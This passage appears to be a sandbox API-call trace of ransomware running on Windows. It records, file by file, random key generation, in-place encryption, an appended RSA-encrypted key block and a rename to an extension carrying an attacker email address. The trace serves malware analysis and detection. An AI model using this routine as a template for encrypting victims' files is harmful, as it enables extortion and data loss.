FindNextFileW (in: hFindFile=0x5b54f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0137.644] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0137.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0137.644] GetLastError () returned 0x0 [0137.644] SetLastError (dwErrCode=0x0) [0137.644] GetLastError () returned 0x0 [0137.644] SetLastError (dwErrCode=0x0) [0137.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0137.644] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0137.644] GetLastError () returned 0x0 [0137.644] SetLastError (dwErrCode=0x0) [0137.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0137.644] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0137.645] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0137.645] FindNextFileW (in: hFindFile=0x5b54f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0137.645] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0137.645] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0137.645] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0137.645] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1035\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0137.645] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0137.645] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0137.645] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0137.645] CreateFileW (lpFileName="\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0 [0137.645] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18264) returned 1 [0137.645] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x5ed868 [0137.645] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x5f1fc8 [0137.645] ReadFile (in: hFile=0x4a0, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0137.884] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.884] WriteFile (in: hFile=0x4a0, lpBuffer=0x5f1fc8*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f1fc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0137.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0137.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f1fc8 | out: hHeap=0x570000) returned 1 [0137.885] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4758 [0137.885] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0137.885] WriteFile (in: hFile=0x4a0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0137.885] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0137.885] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0137.886] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0137.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0137.887] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="v9uSqv/lHp/SHrA0InJ9YjPlDdPsh6r/boK1KiPQGe2EALWFvbIacq39J3WmlS3n\nmEpaW/Wj9B9afuTWE/7xdUqVH/ivGahlvxkHyJ/PrM9jBueizbkr2zCM5NaaU7Br\nc1p9rcXRmKI69CJysSyShsNVcnr2S1o8CsN1Q4uDsrk0ci0ohLvzrJvqwHk5XUDn\nc/LPGo4wPGtj/NAakGThQdaTwit0dEBIs9lBIaw7DHGIMlVt0j4iup90piJwl4cT\ntmwaoZw0DR0wjHPJRBusyB5E+YT81pfMphbly0692GWDYmCkPMTk48qnVr8V5eOQ\nvTd2tnfxDM0LnSfbp0yZGg==\n", pcchString=0x2e3f9a8) returned 1 [0137.887] WriteFile (in: hFile=0x4a0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0137.887] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0137.887] WriteFile (in: hFile=0x4a0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0137.887] CloseHandle (hObject=0x4a0) returned 1 [0137.888] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0137.888] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1035\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0137.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0137.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0137.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0137.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0137.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0137.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0137.890] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0137.890] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1035\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0137.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0137.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0137.890] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0137.890] CreateFileW (lpFileName="\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0 [0137.890] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=77022) returned 1 [0137.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12cde) returned 0x5ed868 [0137.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12cde) returned 0x600550 [0137.890] ReadFile (in: hFile=0x4a0, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x12cde, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x12cde, lpOverlapped=0x0) returned 1 [0138.171] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=-77022, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.171] WriteFile (in: hFile=0x4a0, lpBuffer=0x600550*, nNumberOfBytesToWrite=0x12cde, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x600550*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12cde, lpOverlapped=0x0) returned 1 [0138.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.172] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x600550 | out: hHeap=0x570000) returned 1 [0138.174] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12cde [0138.174] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.174] WriteFile (in: hFile=0x4a0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.174] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.174] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0138.175] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.175] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.175] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="8FFn0wef+uSqpmjWn9uRHZFhqNNBlYX7yCPtvqn+uORSJRHbU0q3fONxR9YxGoZP\nwn/WYr9VyvU5/PpE7d6CPnWgotum6qSjQbVchfN3D3pvjuCiWZs5o2b03X6MkD1K\nY7A5+MZsF7Y3bFYSKzA5vioBOryUSE1HgXA+bXkSIqe0smfMsgQN5bEFklgb4TPG\nPKz31/cTyhX1eAFDTGZbDI2RdBsGlRaJpHI8UV0CIeU/KHeWls/DdjOQIDTHSQ0V\nQ9CjpkwzqhUBEbc+bTrUILnJwlZmBM6eCSwi8NK5yXgetPa9Lkn937R2CZ9Giw/p\ndzajgA4DHSg2MhzrD3uYeQ==\n", pcchString=0x2e3f9a8) returned 1 [0138.175] WriteFile (in: hFile=0x4a0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.175] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.175] WriteFile (in: hFile=0x4a0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.175] CloseHandle (hObject=0x4a0) returned 1 [0138.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.177] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1035\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.335] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0138.335] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.335] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0138.335] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0138.335] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0138.335] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.335] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.335] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1035\\eula.rtf", dwFileAttributes=0x80) returned 1 [0138.336] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0138.336] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0138.336] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0138.336] CreateFileW (lpFileName="\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0 [0138.336] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3702) returned 1 [0138.336] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe76) returned 0x5ed868 [0138.336] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe76) returned 0x5ee6e8 [0138.336] ReadFile (in: hFile=0x4a0, lpBuffer=0x5ed868, nNumberOfBytesToRead=0xe76, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0xe76, lpOverlapped=0x0) returned 1 [0138.349] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=-3702, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.350] WriteFile (in: hFile=0x4a0, lpBuffer=0x5ee6e8*, nNumberOfBytesToWrite=0xe76, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ee6e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe76, lpOverlapped=0x0) returned 1 [0138.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ee6e8 | out: hHeap=0x570000) returned 1 [0138.350] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe76 [0138.350] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.350] WriteFile (in: hFile=0x4a0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.350] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.350] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0138.350] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.350] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="rQoZLZnbXpgVW+uUmnrRwl3JIII10vV1U92owW/D4qCUsd5M1/4rdFIB3o2YL+tg\nBpNIC/blam1Uxz8nnIQMZoNo5fKYXjyYbKpD8DWt+Y1Ofz/qFlzetVSoN0MlJfQ+\ng5LGY8WHrh4gjCn2zLNr4/zP9Sx+M1+rtx+CKUZ1DdZNDaCasFK4p7yHBabB2IRy\nhx4aYqu5BVjeHfOSf99sWaI4A0ymAleZXwwmaoQl+2fOnvU6N4OeXdsxx58p7RLI\neLKlToKE40FGizHvVrtA+fMwNBWP8TZmkWvEIVPjaCji3uKfeaNpklPlk8iWXDgh\n73okGzdh5SndXfVdpPvUFg==\n", pcchString=0x2e3f9a8) returned 1 [0138.350] WriteFile (in: hFile=0x4a0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.350] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.350] WriteFile (in: hFile=0x4a0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.351] CloseHandle (hObject=0x4a0) returned 1 [0138.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.354] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1035\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0138.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0138.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0138.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0138.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0138.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0138.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0138.356] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffe2c0d4, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5970 [0138.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0138.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0138.356] GetLastError () returned 0x0 [0138.356] SetLastError (dwErrCode=0x0) [0138.356] GetLastError () returned 0x0 [0138.356] SetLastError (dwErrCode=0x0) [0138.356] GetLastError () returned 0x0 [0138.356] SetLastError (dwErrCode=0x0) [0138.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e9a8 [0138.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0138.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0138.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5470 [0138.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5470 | out: hHeap=0x570000) returned 1 [0138.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0138.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0138.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e9a8 | out: hHeap=0x570000) returned 1 [0138.356] FindNextFileW (in: hFindFile=0x5b5970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffe2c0d4, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0138.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0138.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0138.357] GetLastError () returned 0x0 [0138.357] SetLastError (dwErrCode=0x0) [0138.357] GetLastError () returned 0x0 [0138.357] SetLastError (dwErrCode=0x0) [0138.357] GetLastError () returned 0x0 [0138.357] SetLastError (dwErrCode=0x0) [0138.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0138.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0138.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0138.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5670 [0138.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5670 | out: hHeap=0x570000) returned 1 [0138.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0138.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0138.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0138.357] FindNextFileW (in: hFindFile=0x5b5970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0138.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0138.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0138.357] GetLastError () returned 0x0 [0138.357] SetLastError (dwErrCode=0x0) [0138.357] GetLastError () returned 0x0 [0138.357] SetLastError (dwErrCode=0x0) [0138.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0138.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0138.357] GetLastError () returned 0x0 [0138.357] SetLastError (dwErrCode=0x0) [0138.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0138.357] FindNextFileW (in: hFindFile=0x5b5970, 